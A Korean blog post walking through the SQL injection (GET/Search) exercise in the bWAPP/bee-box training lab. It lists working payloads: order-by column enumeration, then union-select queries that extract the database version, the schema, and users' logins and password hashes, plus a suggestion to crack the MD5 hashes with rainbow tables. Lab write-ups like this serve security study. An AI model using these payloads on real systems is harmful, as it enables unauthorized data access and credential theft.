취약점/Bee-Box

A1-Injection SQL Injection (GET/Search) 비박스(bWAPP)

시큐렛 2019. 12. 8. 01:07

SQL Injection이란?

웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다.


SQL Injection 페이지

메인 페이지는 찾을 영화를 검색하라는 인풋 박스가 나오고 Search버튼을 클릭 시 DB에 저장되어 있는 영화 제목이 출력되는 것을 확인할 수 있다. like문을 사용하여 요청한 문자열을 포함한 문자열을 찾는 방식으로 추측할 수 있다.

sqli_1의 소스코드

소스코드 확인 시 GET형식으로 title을 받아서 sql에 SELECT문을 사용하여 like % title%를 묻고 그 결과를 출력하는 것을 확인할 수 있다.

에러메세지 출력

"'"를 입력하여 오류 메시지가 출력되었고 오류 메시지에는 MySQL을 사용한다는 정보 노출까지 보인다.


삽입 코드 :

'order by 1#
'order by 2#
'order by 3#
'order by 4#
'order by 5#
'order by 6#
'order by 7#
'order by 8#		//에러메세지 출력

에러메세지

'order by 8#을 요청 시 에러 페이지가 출력된다. 여기서 칼럼수는 7개라는 사실을 확인하였다.

mysql 입력

mysql에서는 주석을 "#"을 사용하기 때문에 #뒤에 있는 것들은 모두 주석 처리하여 SELECT * FROM movies WHERE title LIKE '%'order by 1만 읽어 들인다.

삽입 코드 :

'union select 1,2,3,4,5,6,7#
'union select 1,@@version,database(),4,5,6,7#	//버전정보 , DB이름 정보획득
'union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#
//획득한 DB의 테이블 정보획득
'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
//획득한 테이블의 칼럼 정보획득
'union select 1,login,password,4,5,6,7 from users#
//users테이블의 id,password 정보획득

union select를 활용하여 칼럼 위치를 확인 후 DB이름 > 테이블명 > 칼럼명 > 계정 정보를 확인할 수 있다.

 

계정정보 획득

비밀번호는 md5로 암호화되어 있는데 암호화돼있는 문자를 레인보우 테이블에 넣어주면 평문으로 바뀌어 보인다.